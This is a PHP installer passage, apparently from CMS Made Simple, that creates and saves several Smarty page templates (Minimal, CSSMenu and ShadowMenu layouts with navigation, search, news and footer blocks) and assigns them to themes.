$css_menutop_2col_theme->add_template($gcb);
$leftsimple_1col_theme->add_template($gcb);
$ncleanblue_theme->add_template($gcb);
$shadowmenu_left_1col_theme->add_template($gcb);
$shadowmenu_tab_2col_theme->add_template($gcb);
$topsimple_leftsubnav_1col_theme->add_template($gcb);
$template_list[$gcb->get_name()] = $gcb->get_id();

$txt = <<<EOT
{process_pagedata}\n<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"\n"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">\n\n<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">\n{* Change lang="en" to the language of your site *}\n\n<head>\n\n<title>{sitename} - {title}</title>\n{* The sitename is changed in Site Admin/Global settings. {title} is the name of each page *}\n\n{metadata}\n{* Don\'t remove this! Metadata is entered in Site Admin/Global settings. *}\n\n{cms_stylesheet}\n{* This is how all the stylesheets attached to this template are linked to *}\n\n</head>\n\n<body>\n\n      {* Start Navigation *}\n      <div style="float: left; width: 25%;">\n         {Navigator loadprops=0 template='minimal_menu'}\n      </div>\n      {* End Navigation *}\n\n      {* Start Content *}\n      <div>\n         <h2>{title}</h2>\n         {content} \n      </div>\n      {* End Content *}\n\n</body>\n</html>
EOT;
$template = new CmsLayoutTemplate();
$template->set_name('Minimal');
$template->set_owner(1);
$template->set_content($txt);
$template->set_description('A Simple, minimal page template');
$template->set_type($page_template_type);
$template->add_design($minimal_theme);
$template->save();
$template_list[$template->get_name()] = $template->get_id();

$txt = <<<EOT
{process_pagedata}<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">\n<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">\n{* Change lang="en" to the language of your site *}\n\n{* note: anything inside these are smarty comments, they will not show up in the page source *}\n  <head>\n    <title>{sitename} - {title}</title>\n{* The sitename is changed in Site Admin/Global settings. {title} is the name of each page *}\n\n {metadata}\n{* Don't remove this! Metadata is entered in Site Admin/Global settings. *}\n\n {cms_stylesheet}\n{* This is how all the stylesheets attached to this template are linked to it *}\n\n {cms_selflink dir="start" rellink=1}\n {cms_selflink dir="prev" rellink=1}\n {cms_selflink dir="next" rellink=1}\n{* Relational links for interconnections between pages, good for accessibility and Search Engine Optimization *}\n\n{* the literal below and the /literal at the end are needed whenever there are {"curly brackets"} as smarty will think it's something to process and will throw an error *}\n {literal}\n<script type="text/JavaScript">\n<!--\n//pass min and max - measured against window width\nfunction P7_MinMaxW(a,b){\nvar nw="auto",w=document.documentElement.clientWidth;\nif(w>=b){nw=b+"px";}if(w<=a){nw=a+"px";}return nw;\n}\n//-->\n</script>\n    <!--[if lte IE 6]>\n    <style type="text/css">\n    #pagewrapper {width:expression(P7_MinMaxW(720,950));}\n    #container {height: 1%;}\n    </style>\n    <![endif]-->\n    {/literal}\n{* The min and max page width for Internet Explorer is set here. For other browsers it's in the stylesheet "Layout Top menu + 2 columns" *}\n\n    <!--[if lte IE 6]>\n    <script type="text/javascript" src="modules/MenuManager/CSSMenu.js"></script>\n    <![endif]--> \n{* The above JavaScript is required for CSSMenu to work in IE *}\n\n  </head>\n  <body>\n    <div id="pagewrapper">\n{* first out side div/box *}\n\n{* start accessibility skip links, anything with the class of accessibility is hidden with CSS from visual browsers *}\n      <ul class="accessibility">\n        <li>{anchor anchor='menu_vert' title='Skip to navigation' accesskey='n' text='Skip to navigation'}</li>\n        <li>{anchor anchor='main' title='Skip to content' accesskey='s' text='Skip to content'}</li>\n      </ul>\n{* end accessibility skip links *}\n\n      <hr class="accessibility" />\n{* anything class="accessibility" is hidden for visual browsers by CSS *}\n\n{* Start Header, with logo image that links to the default start page. Logo image is changed in the stylesheet  "Layout Left sidebar + 1 column" *}\n      <div id="header">\n\n{* this holds the name of the site on the right side *}\n        <h2 class="headright">{sitename}</h2>\n\n{* a link back to home page and the header left image/logo, text is hidden using CSS *}\n        <h1>{cms_selflink dir="start" text="\$sitename"}</h1>        \n        <hr class="accessibility" />\n      </div>\n{* End Header *}\n\n{* Start Search, the input "Submit" is using an image, CSS: input.search-button *}\n      <div id="search">\n      {Search}\n      </div>\n{* End Search *}\n\n{* Start Breadcrumbs *}\n      <div class="crbk">\n{* holds the right image, we need 2 divs to be able to make this site fluid, if it was fixed width we could use one div, one image  *}\n\n        <div class="breadcrumbs">\n        {nav_breadcrumbs root='Home'}\n          <hr class="accessibility" />\n        </div>\n      </div>\n{* End Breadcrumbs *}\n\n{* Start Content (Navigation and Content columns) *}\n      <div id="content">\n\n{* Start Sidebar, 2 divs one for top image one for bottom image *}\n        <div id="sidebar">\n          <div id="sidebara">\n\n{* Start Navigation, stylesheet  "Navigation CSSMenu - Vertical" *}\n            <h2 class="accessibility">Navigation</h2>\n            {Navigator loadprops=0 template='cssmenu'}\n            <hr class="accessibility" />\n{* End Navigation *}\n\n{* Start News, stylesheet  "Module News" *}\n            <div id="news">\n              <h2>News</h2>\n              {module_available module='News' assign='havenews'}{if \$havenews}EOT{cms_module module=News number='3' detailpage='news'}{/if} {* You cannot use the short form of the module call, i.e: {News} in this type of expression *}\n            </div>\n{* End News *}\n\n          </div>\n        </div>\n{* End Sidebar *}\n\n{* Start Content Area, the back1, back2, back3, hold the 3 outside images, main holds the 4th one, to make the box complete, if the template were fixed width not fluid we could use just 2 divs and 2 images, 1 top 1 bottom *}\n        <div class="back1">\n          <div class="back2">\n            <div class="back3">\n              <div id="main">\n                <h2>{title}</h2>\n                {content}\n                <br />{* to insure space below the content *}\n\n{* Start relational links *}\n{* note this is the right side, when you float: divs you need to have float: right; divs first *}\n            <div class="right49">\n              <p>{anchor anchor='main' text='^ Top'}</p>\n            </div>\n\n            <div class="left49">\n              <p> {cms_selflink dir="previous"}\n{* The label parameter doesn't need to be there if you're using English, but is here to show how it's used if you don't want the English text "Previous page" *}\n              <br />\n              {cms_selflink dir="next"}\n              </p>\n            </div>\n{* End relational links *}\n\n                <hr class="accessibility" />\n                <div class="clear">\n                </div>\n              </div>\n            </div>\n          </div>\n        </div>\n{* End Content Area *}\n\n      </div>\n{* End Content *}\n\n{* Start Footer. Edit the footer in the Global Content Block called "footer" *}\n      <div class="footback">\n        <div id="footer">\n{* stylesheet  "Navigation FatFootMenu" *}\n          <div id="fooleft">\n          {Navigator loadprops=0}\n          </div>\n          <div id="footrt">\n          {global_content name='footer'}\n          </div>\n          <div class="clear"></div>\n        </div>\n      </div>\n{* End Footer *}\n\n    </div>\n{* end pagewrapper *}\n  </body>\n</html>
EOT;
$template = new CmsLayoutTemplate();
$template->set_name('CSSMenu left + 1 column'); // id = 15
$template->set_owner(1);
$template->set_content($txt);
$template->set_description('This is a drop-down menu that is using only CSS (although some Javascript is required for Internet Explorer 6, note: IE6 will not let you use 2 of these menu types in a template at the same time as the second one will fail to open). It can be either vertical or horizontal.');
$template->set_type($page_template_type);
$template->save();
$css_menuleft_1col_theme->add_template($template);
$template_list[$template->get_name()] = $template->get_id();

$txt = <<<EOT
{process_pagedata}<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">\n<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">\n{* Change lang="en" to the language of your site *}\n\n{* note: anything inside these are smarty comments, they will not show up in the page source *}\n\n  <head>\n    <title>{sitename} - {title}</title>\n{* The sitename is changed in Site Admin/Global settings. {title} is the name of each page *}\n\n {metadata}\n{* Don't remove this! Metadata is entered in Site Admin/Global settings. *}\n\n {cms_stylesheet}\n{* This is how all the stylesheets attached to this template are linked to it *}\n\n {cms_selflink dir="start" rellink=1}\n {cms_selflink dir="prev" rellink=1}\n {cms_selflink dir="next" rellink=1}\n{* Relational links for interconnections between pages, good for accessibility and Search Engine Optimization *}\n\n{* the literal below and the /literal at the end are needed whenever there are {"curly brackets"} as smarty will think it's something to process and will throw an error *}\n {literal}\n<script type="text/JavaScript">\n<!--\n//pass min and max - measured against window width\nfunction P7_MinMaxW(a,b){\nvar nw="auto",w=document.documentElement.clientWidth;\nif(w>=b){nw=b+"px";}if(w<=a){nw=a+"px";}return nw;\n}\n//-->\n</script>\n    <!--[if lte IE 6]>\n    <style type="text/css">\n    #pagewrapper {width:expression(P7_MinMaxW(720,950));}\n    #container {height: 1%;}\n    </style>\n    <![endif]-->\n    {/literal}\n{* The min and max page width for Internet Explorer is set here. For other browsers it's in the stylesheet "Layout Top menu + 2 columns" *}\n\n    <!--[if lte IE 6]>\n    <script type="text/javascript" src="modules/MenuManager/CSSMenu.js"></script>\n    <![endif]--> \n{* The above JavaScript is required for CSSMenu to work in IE *}\n  </head>\n  <body>\n    <div id="pagewrapper">\n\n{* start accessibility skip links, anything with the class of accessibility is hidden with CSS from visual browsers *}\n      <ul class="accessibility">\n        <li>{anchor anchor='menu_vert' title='Skip to navigation' accesskey='n' text='Skip to navigation'}</li>\n        <li>{anchor anchor='main' title='Skip to content' accesskey='s' text='Skip to content'}</li>\n      </ul>\n{* end accessibility skip links *}\n\n      <hr class="accessibility" />\n{* Horizontal ruler that is hidden for visual browsers by CSS *}\n\n{* Start Header, with logo image that links to the default start page. Logo image is changed in the stylesheet  "Layout Top menu + 2 columns" *}\n      <div id="header">\n\n{* this holds the name of the site on the right side *}\n        <h2 class="headright">{sitename}</h2>\n\n{* a link back to home page and the header left image/logo, text is hidden using CSS *}\n        <h1>{cms_selflink dir="start" text="\$sitename"}</h1>        \n        <hr class="accessibility" />\n      </div>\n{* End Header *}\n\n{* Start Navigation *}\n      <div id="menu_vert">\n{* stylesheet  "Navigation CSSMenu - Horizontal" *}\n        <h2 class="accessibility">Navigation</h2>\n        {Navigator loadprops=0 template='cssmenu'}\n        <hr class="accessibility" />\n      </div>\n{* End Navigation *}\n\n{* Start Search, the input "Submit" is using an image, CSS: input.search-button *}\n      <div id="search">\n      {Search}\n      </div>\n{* End Search *}\n\n{* Start Breadcrumbs *}\n      <div class="crbk">\n{* holds the right image, we need 2 divs to be able to make this site fluid, if it was fixed width we could use one div, one image  *}\n\n        <div class="breadcrumbs">\n        {nav_breadcrumbs root='Home'}\n          <hr class="accessibility" />\n        </div>\n      </div>\n{* End Breadcrumbs *}\n\n{* Start Content *}\n      <div id="content">\n\n{* Start Sidebar *}\n        <div id="sidebar">\n          <div id="sidebarb">\n          {content block='Sidebar'}\n\n{* Start News, stylesheet  "Module News" *}\n            <div id="news">\n              <h2>News</h2>\n              {module_available module='News' assign='havenews'}{if \$havenews}{cms_module module=News  number='3' detailpage='news'}{/if} {* You cannot use the short form of the module call, i.e: {News} in this type of expression *}\n            </div>\n{* End News *}\n\n          </div>\n        </div>\n{* End Sidebar *}\n\n{* Start Content Area, the back1, back2, back3, hold the 3 outside images, main holds the 4th one, to make the box complete, if the template were fixed width not fluid we could use just 2 divs and 2 images, 1 top 1 bottom *}\n        <div class="back1">\n          <div class="back2">\n            <div class="back3">\n              <div id="main">\n                <h2>{title}</h2>\n                {content}\n                <br />{* to insure space below content *}\n\n{* Start relational links *}\n{* note this is the right side, when you float: divs you need to have float: right; divs first *}\n            <div class="right49">\n              <p>{anchor anchor='main' text='^ Top'}</p>\n            </div>\n            <div class="left49">\n              <p>{cms_selflink dir="previous"}\n{* The label parameter doesn't need to be there if you're using English, but is here to show how it's used if you don't want the English text "Previous page" *}\n\n              <br />\n              {cms_selflink dir="next"}\n              </p>\n            </div>\n{* End relational links *}\n\n                <hr class="accessibility" />\n                <div class="clear"></div>\n              </div>\n            </div>\n          </div>\n        </div>\n{* End Content Area *}\n\n      </div>\n{* End Content *}\n\n{* Start Footer. Edit the footer in the Global Content Block called "footer" *}\n      <div class="footback">\n        <div id="footer">\n{* stylesheet  "Navigation FatFootMenu" *}\n          <div id="fooleft">\n          {Navigator loadprops=0}\n          </div>\n          <div id="footrt">\n          {global_content name='footer'}\n          </div>\n          <div class="clear"></div>\n        </div>\n      </div>\n{* End Footer *}\n\n    </div>\n{* end pagewrapper *}\n\n  </body>\n</html>
EOT;
$template = new CmsLayoutTemplate();
$template->set_name('CSSMenu top + 2 columns'); // id = 16
$template->set_owner(1);
$template->set_content($txt);
$template->set_description('This is a drop-down menu that is using only CSS (although some Javascript is required for Internet Explorer 6, note: IE6 will not let you use 2 of these menu types in a template at the same time as the second one will fail to open). It can be either vertical or horizontal.');
$template->set_type($page_template_type);
$template->save();
$css_menutop_2col_theme->add_template($template);
$template_list[$template->get_name()] = $template->get_id();

$txt = <<<EOT
{process_pagedata}<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">\n<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">\n{* Change lang="en" to the language of your site *}\n\n{* note: anything inside these are smarty comments, they will not show up in the page source *}\n\n  <head>\n    <title>{sitename} - {title}</title>\n{* The sitename is changed in Site Admin/Global settings. {title} is the name of each page *}\n\n {metadata}\n{* Don't remove this! Metadata is entered in Site Admin/Global settings. *}\n\n {cms_stylesheet}\n{* This is how all the stylesheets attached to this template are linked to it *}\n\n {cms_selflink dir="start" rellink=1}\n {cms_selflink dir="prev" rellink=1}\n {cms_selflink dir="next" rellink=1}\n{* Relational links for interconnections between pages, good for accessibility and Search Engine Optimization *}\n\n{* the literal below and the /literal at the end are needed whenever there are {"curly brackets"} as smarty will think it's something to process and will throw an error *}\n {literal}\n<script type="text/JavaScript">\n<!--\n//pass min and max - measured against window width\nfunction P7_MinMaxW(a,b){\nvar nw="auto",w=document.documentElement.clientWidth;\nif(w>=b){nw=b+"px";}if(w<=a){nw=a+"px";}return nw;\n}\n//-->\n</script>\n    <!--[if lte IE 6]>\n    <style type="text/css">\n    #pagewrapper {width:expression(P7_MinMaxW(720,1200));}\n    #container {height: 1%;}\n    </style>\n    <![endif]-->\n    {/literal}\n{* The min and max page width for Internet Explorer is set here. For other browsers it's in the stylesheet "Layout Left sidebar + 1 column" *}\n\n  </head>\n  <body>\n    <div id="pagewrapper">\n\n{* start accessibility skip links, anything with the class of accessibility is hidden with CSS from visual browsers *}\n      <ul class="accessibility">\n        <li>{anchor anchor='menu_vert' title='Skip to navigation' accesskey='n' text='Skip to navigation'}</li>\n        <li>{anchor anchor='main' title='Skip to content' accesskey='s' text='Skip to content'}</li>\n      </ul>\n{* end accessibility skip links *}\n\n      <hr class="accessibility" />\n{* anything with class="accessibility is hidden for visual browsers by CSS *}\n\n{* Start Header, with logo image that links to the default start page. Logo image is changed in the stylesheet  "Layout Left sidebar + 1 column" *}\n      <div id="header">\n\n{* this holds the name of the site on the right side *}\n        <h2 class="headright">{sitename}</h2>\n\n{* this holds a link back to home page and the header left image/logo, text is hidden using CSS *}\n        <h1>{cms_selflink dir="start" text="\$sitename"}</h1> \n       \n        <hr class="accessibility" />\n      </div>\n{* End Header *}\n\n{* Start Search, the input "Submit" is using an image, CSS: input.search-button *}\n      <div id="search">\n      {Search}\n      </div>\n{* End Search *}\n\n{* Start Breadcrumbs *}\n      <div class="crbk">\n{* holds the right image, we need 2 divs to be able to make this site fluid, if it was fixed width we could use one div, one image  *}\n\n        <div class="breadcrumbs">\n        {nav_breadcrumbs root='Home'}\n          <hr class="accessibility" />\n        </div>\n      </div>\n{* End Breadcrumbs *}\n\n{* Start Content (Navigation and Content columns) *}\n      <div id="content">\n\n{* Start Sidebar, 2 divs one for top image one for bottom image *}\n        <div id="sidebar">\n          <div id="sidebara">\n\n{* Start Navigation, stylesheet  "Navigation Simple - Vertical" *}\n            <div id="menu_vert">\n              <h2 class="accessibility">Navigation</h2>\n              {Navigator loadprops=0 template='Simple Navigation' collapse='1'}\n            </div>\n{* End Navigation *}\n\n{* Start News, style sheet "Module News" *}\n            <div id="news">\n              <h2>News</h2>\n              {module_available module='News' assign='havenews'}{if \$havenews}{cms_module module=News number='3' detailpage='news'}{/if} {* You cannot use the short form of the module call, i.e: {News} in this type of expression *}\n            </div>\n{* End News *}\n\n          </div>\n        </div>\n{* End Sidebar *}\n\n{* Start Content Area *}\n{* again 2 divs to hold top and bottom images, back is set to go to the right side then the main is set to come off the right side *}\n        <div class="back">        \n          <div id="main">\n            <h2>{title}</h2>\n            {content}\n            <br />\n{* this break is just to make sure we get space after the content *}\n\n{* Start relational links *}\n{* note this is the right side, when you float: divs you need to have float: right; divs first *}\n            <div class="right49">\n              <p>{anchor anchor='main' text='^ Top'}</p>\n            </div>\n\n            <div class="left49">\n              <p>{cms_selflink dir="previous"}\n{* The label parameter doesn't need to be there if you're using English, but is here to show how it's used if you don't want the English text "Previous page" *}\n\n              <br />\n              {cms_selflink dir="next"}\n              </p>\n            </div>\n{* End relational links *}\n\n            <hr class="accessibility" />\n          </div>\n        </div>\n{* End Content Area *}\n\n        <div class="clear"></div>\n{* this is to make sure the 2 divs stay tight *}\n\n      </div>\n{* End Content *}\n\n{* Start Footer. Edit the footer in the Global Content Block called "footer" *}\n      <div class="footback">\n        <div id="footer">\n{* stylesheet  "Navigation FatFootMenu" *}\n          <div id="fooleft">\n          {Navigator loadprops=0}\n          </div>\n          <div id="footrt">\n          {global_content name='footer'}\n          </div>\n          <div class="clear"></div>\n        </div>\n      </div>\n{* End Footer *}\n\n    </div>\n{* end pagewrapper *}\n  </body>\n</html>
EOT;
$template = new CmsLayoutTemplate();
$template->set_name('Left simple navigation + 1 column'); // id = 17
$template->set_owner(1);
$template->set_content($txt);
$template->set_description('This template has the menu in left sidebar. The menu is using the Simple Navigation menu template. It is styled in the stylesheet called Navigation Simple - Vertical.');
$template->set_type($page_template_type);
$template->save();
$leftsimple_1col_theme->add_template($template);
$template_list[$template->get_name()] = $template->get_id();

$txt = <<<EOT
{process_pagedata}<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">\n<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">\n{* Change lang="en" to the language of your site *}\n\n{* note: anything inside these are smarty comments, they will not show up in the page source *}\n\n  <head>\n    <title>{sitename} - {title}</title>\n{* The sitename is changed in Site Admin/Global settings. {title} is the name of each page *}\n\n {metadata}\n{* Don't remove this! Metadata is entered in Site Admin/Global settings. *}\n\n {cms_stylesheet}\n{* This is how all the stylesheets attached to this template are linked to it *}\n\n {cms_selflink dir="start" rellink=1}\n {cms_selflink dir="prev" rellink=1}\n {cms_selflink dir="next" rellink=1}\n{* Relational links for interconnections between pages, good for accessibility and Search Engine Optimization *}\n\n{* the literal below and the /literal at the end are needed whenever there are {"curly brackets"} as smarty will think it's something to process and will throw an error *}\n {literal}\n<script type="text/JavaScript">\n<!--\n//pass min and max - measured against window width\nfunction P7_MinMaxW(a,b){\nvar nw="auto",w=document.documentElement.clientWidth;\nif(w>=b){nw=b+"px";}if(w<=a){nw=a+"px";}return nw;\n}\n//-->\n</script>\n    <!--[if lte IE 6]>\n    <style type="text/css">\n    #pagewrapper {width:expression(P7_MinMaxW(720,950));}\n    #container {height: 1%;}\n    </style>\n    <![endif]-->\n    {/literal}\n{* The min and max page width for Internet Explorer is set here. For other browsers it's in the stylesheet "Layout Top menu + 2 columns" *}\n\n  </head>\n  <body>\n    <div id="pagewrapper">\n\n{* start accessibility skip links, anything with the class of accessibility is hidden with CSS from visual browsers *}\n      <ul class="accessibility">\n        <li>{anchor anchor='menu_vert' title='Skip to navigation' accesskey='n' text='Skip to navigation'}</li>\n        <li>{anchor anchor='main' title='Skip to content' accesskey='s' text='Skip to content'}</li>\n      </ul>\n{* end accessibility skip links *}\n\n      <hr class="accessibility" />\n{* Horizontal ruler that is hidden for visual browsers by CSS *\n}\n{* Start Header, with logo image that links to the default start page. Logo image is changed in the stylesheet  "Layout Top menu + 2 columns" *}\n      <div id="header">\n\n{* this holds the name of the site on the right side *}\n        <h2 class="headright">{sitename}</h2>\n\n{* this holds a link back to home page and the header left image/logo, text is hidden using CSS *}\n        <h1>{cms_selflink dir="start" text="\$sitename"}</h1>\n        <hr class="accessibility" />\n      </div>\n{* End Header *}\n\n{* Start Navigation *}\n      <div id="menu_horiz">\n{* stylesheet  "Navigation Simple - Horizontal" *}\n        <h2 class="accessibility">Navigation</h2>\n        {Navigator loadprops=0 template='Simple Navigation' number_of_levels='1'}\n        <hr class="accessibility" />\n      </div>\n{* End Navigation *}\n{* Start Search, the input "Submit" is using an image, CSS: input.search-button *}\n      <div id="search">\n      {Search}\n      </div>\n{* End Search *}\n\n{* Start Breadcrumbs *}\n      <div class="crbk">\n{* holds the right image, we need 2 divs to be able to make this site fluid, if it was fixed width we could use one div, one image  *}\n\n        <div class="breadcrumbs">\n        {nav_breadcrumbs root='Home'}\n          <hr class="accessibility" />\n        </div>\n      </div>\n{* End Breadcrumbs *}\n\n{* Start Content (Navigation and Content columns) *}\n      <div id="content">\n\n{* Start Sidebar, 2 divs one for top image one for bottom image *}\n        <div id="sidebar">\n          <div id="sidebara">\n\n{* Start Sub Navigation, stylesheet  "Navigation Simple - Vertical" *}\n            <div id="menu_vert">\n              <h2 class="accessibility">Sub Navigation</h2>\n              {Navigator loadprops=0 template='Simple Navigation' start_level='2' collapse='1'}\n                <hr class="accessibility" />\n            </div>\n{* End Sub Navigation *}\n\n{* Start News, style sheet "Module News" *}\n            <div id="news">\n              <h2>News</h2>\n              {module_available module='News' assign='havenews'}{if \$havenews}{cms_module module=News number='3' detailpage='news'}{/if} {* You cannot use the short form of the module call, i.e: {News} in this type of expression *}\n            </div>\n{* End News *}\n\n          </div>\n        </div>\n{* End Sidebar *}\n\n{* Start Content Area, the back1, back2, back3, hold the 3 outside images, main holds the 4th one, to make the box complete, if the template were fixed width not fluid we could use just 2 divs and 2 images, 1 top 1 bottom *}\n        <div class="back1">\n          <div class="back2">\n            <div class="back3">\n              <div id="main">\n                <h2>{title}</h2>\n                {content}\n                <br />{* to insure space below content *}\n\n{* Start relational links *}\n{* note this is the right side, when you float: divs you need to have float: right; divs first *}\n            <div class="right49">\n              <p>{anchor anchor='main' text='^ Top'}</p>\n            </div>\n            <div class="left49">\n              <p>{cms_selflink dir="previous"}\n{* The label parameter doesn't need to be there if you're using English, but is here to show how it's used if you don't want the English text "Previous page" *}\n\n              <br />\n              {cms_selflink dir="next"}\n              </p>\n            </div>\n{* End relational links *}\n\n                <hr class="accessibility" />\n                <div class="clear"></div>\n              </div>\n            </div>\n          </div>\n        </div>\n{* End Content Area *}\n\n      </div>\n{* End Content *}\n\n{* Start Footer. Edit the footer in the Global Content Block called "footer" *}\n      <div class="footback">\n        <div id="footer">\n{* stylesheet  "Navigation FatFootMenu" *}\n          <div id="fooleft">\n          {Navigator loadprops=0}\n          </div>\n          <div id="footrt">\n          {global_content name='footer'}\n          </div>\n          <div class="clear"></div>\n        </div>\n      </div>\n{* End Footer  *}\n\n    </div>\n{* end pagewrapper *}\n\n  </body>\n</html>
EOT;
$template = new CmsLayoutTemplate();
$template->set_name('Top simple navigation + left subnavigation + 1 column'); // id = 18
$template->set_owner(1);
$template->set_content($txt);
$template->set_description('With the Menu Manager you can easily split the navigation in two parts. On this page the top level in the page hierarchy is displayed horizontally and depending on what page is displayed a localized sub-menu is displayed vertically to the left.');
$template->set_type($page_template_type);
$template->save();
$topsimple_leftsubnav_1col_theme->add_template($template);
$template_list[$template->get_name()] = $template->get_id();

$txt = <<<EOT
{process_pagedata}<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">\n<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">\n{* Change lang="en" to the language of your site *}\n\n{* note: anything inside these are smarty comments, they will not show up in the page source *}\n\n  <head>\n    <title>{sitename} - {title}</title>\n{* The sitename is changed in Site Admin/Global settings. {title} is the name of each page *}\n\n {metadata}\n{* Don't remove this! Metadata is entered in Site Admin/Global settings. *}\n\n {cms_stylesheet}\n{* This is how all the stylesheets attached to this template are linked to it *}\n\n {cms_selflink dir="start" rellink=1}\n {cms_selflink dir="prev" rellink=1}\n {cms_selflink dir="next" rellink=1}\n{* Relational links for interconnections between pages, good for accessibility and Search Engine Optimization *}\n\n{* the literal below and the /literal at the end are needed whenever there are {"curly brackets"} as smarty will think it's something to process and will throw an error *}\n {literal}\n<script type="text/JavaScript">\n<!--\n//pass min and max - measured against window width\nfunction P7_MinMaxW(a,b){\nvar nw="auto",w=document.documentElement.clientWidth;\nif(w>=b){nw=b+"px";}if(w<=a){nw=a+"px";}return nw;\n}\n//-->\n</script>\n    <!--[if lte IE 6]>\n    <style type="text/css">\n    #pagewrapper {width:expression(P7_MinMaxW(720,950));}\n    #container {height: 1%;}\n    </style>\n    <![endif]-->\n    {/literal}\n{* The min and max page width for Internet Explorer is set here. For other browsers it's in the stylesheet "Layout Top menu + 2 columns" *}\n\n    <!--[if lte IE 6]>\n    <script type="text/javascript" src="modules/MenuManager/CSSMenu.js"></script>\n    <![endif]--> \n{* The above JavaScript is required for CSSMenu to work in IE *}\n\n  </head>\n  <body>\n    <div id="pagewrapper">\n\n{* start accessibility skip links, anything with the class of accessibility is hidden with CSS from visual browsers *}\n      <ul class="accessibility">\n        <li>{anchor anchor='menu_vert' title='Skip to navigation' accesskey='n' text='Skip to navigation'}</li>\n        <li>{anchor anchor='main' title='Skip to content' accesskey='s' text='Skip to content'}</li>\n      </ul>\n{* end accessibility skip links *}\n\n      <hr class="accessibility" />\n{* Horizontal ruler that is hidden for visual browsers by CSS *}\n\n{* Start Header, with logo image that links to the default start page. Logo image is changed in the stylesheet  "Layout Top menu + 2 columns" *}\n      <div id="header">\n\n{* this holds the name of the site on the right side *}\n        <h2 class="headright">{sitename}</h2>\n\n{* a link back to home page and the header left image/logo, text is hidden using CSS *}\n        <h1>{cms_selflink dir="start" text="\$sitename"}</h1>        \n        <hr class="accessibility" />\n      </div>\n{* End Header *}\n\n{* Start Navigation, stylesheet "Navigation ShadowMenu - Horizontal" *}\n      <div id="menu_vert">\n        <h2 class="accessibility">Navigation</h2>\n        {Navigator loadprops=0 template='cssmenu_ulshadow'}\n        <hr class="accessibility" />\n      </div>\n{* End Navigation *}\n\n{* Start Search, the input "Submit" is using an image, CSS: input.search-button *}\n      <div id="search">\n      {Search}\n      </div>\n{* End Search *}\n\n{* Start Breadcrumbs *}\n      <div class="crbk">\n{* holds the right image, we need 2 divs to be able to make this site fluid, if it was fixed width we could use one div, one image  *}\n\n        <div class="breadcrumbs">\n        {nav_breadcrumbs root='Home'}\n          <hr class="accessibility" />\n        </div>\n      </div>\n{* End Breadcrumbs *}\n\n{* Start Content *}\n      <div id="content">\n\n{* Start Sidebar *}\n        <div id="sidebar">\n          <div id="sidebarb">\n          {content block='Sidebar'}\n\n{* Start News, stylesheet  "Module News" *}\n            <div id="news">\n              <h2>News</h2>\n              {module_available module='News' assign='havenews'}{if \$havenews}{cms_module module=News number='3' detailpage='news'}{/if} {* You cannot use the short form of the module call, i.e: {News} in this type of expression *}\n            </div>\n{* End News *}\n\n          </div>\n        </div>\n{* End Sidebar *}\n\n{* Start Content Area, the back1, back2, back3, hold the 3 outside images, main holds the 4th one, to make the box complete, if the template were fixed width not fluid we could use just 2 divs and 2 images, 1 top 1 bottom *}\n        <div class="back1">\n          <div class="back2">\n            <div class="back3">\n              <div id="main">\n                <h2>{title}</h2>\n                {content}\n                <br />{* to insure space below content *}\n\n{* Start relational links *}\n{* note this is the right side, when you float: divs you need to have float: right; divs first *}\n            <div class="right49">\n              <p>{anchor anchor='main' text='^ Top'}</p>\n            </div>\n            <div class="left49">\n              <p>{cms_selflink dir="previous"}\n{* The label parameter doesn't need to be there if you're using English, but is here to show how it's used if you don't want the English text "Previous page" *}\n\n              <br />\n              {cms_selflink dir="next"}\n              </p>\n            </div>\n{* End relational links *}\n\n                <hr class="accessibility" />\n                <div class="clear"></div>\n              </div>\n            </div>\n          </div>\n        </div>\n{* End Content Area *}\n\n      </div>\n{* End Content *}\n\n{* Start Footer. Edit the footer in the Global Content Block called "footer" *}\n      <div class="footback">\n        <div id="footer">\n{* stylesheet  "Navigation FatFootMenu" *}\n          <div id="fooleft">\n          {Navigator loadprops=0}\n          </div>\n          <div id="footrt">\n          {global_content name='footer'}\n          </div>\n          <div class="clear"></div>\n        </div>\n      </div>\n{* End Footer *}\n\n    </div>\n{* end pagewrapper *}\n\n  </body>\n</html>
EOT;
$template = new CmsLayoutTemplate();
$template->set_name('ShadowMenu Tab + 2 columns'); // id = 20
$template->set_owner(1);
$template->set_content($txt);
$template->set_description('Using the same menu template as the previous theme. We changed the child ul CSS to use a different top image. This involves changing some of the margin and padding as the images are a different shape. Note the difference in the second level and third level ul images, one has an arrow up and the other has an arrow left.');
$template->set_type($page_template_type);
$template->save();
$shadowmenu_tab_2col_theme->add_template($template);
$template_list[$template->get_name()] = $template->get_id();

$txt = <<<EOT
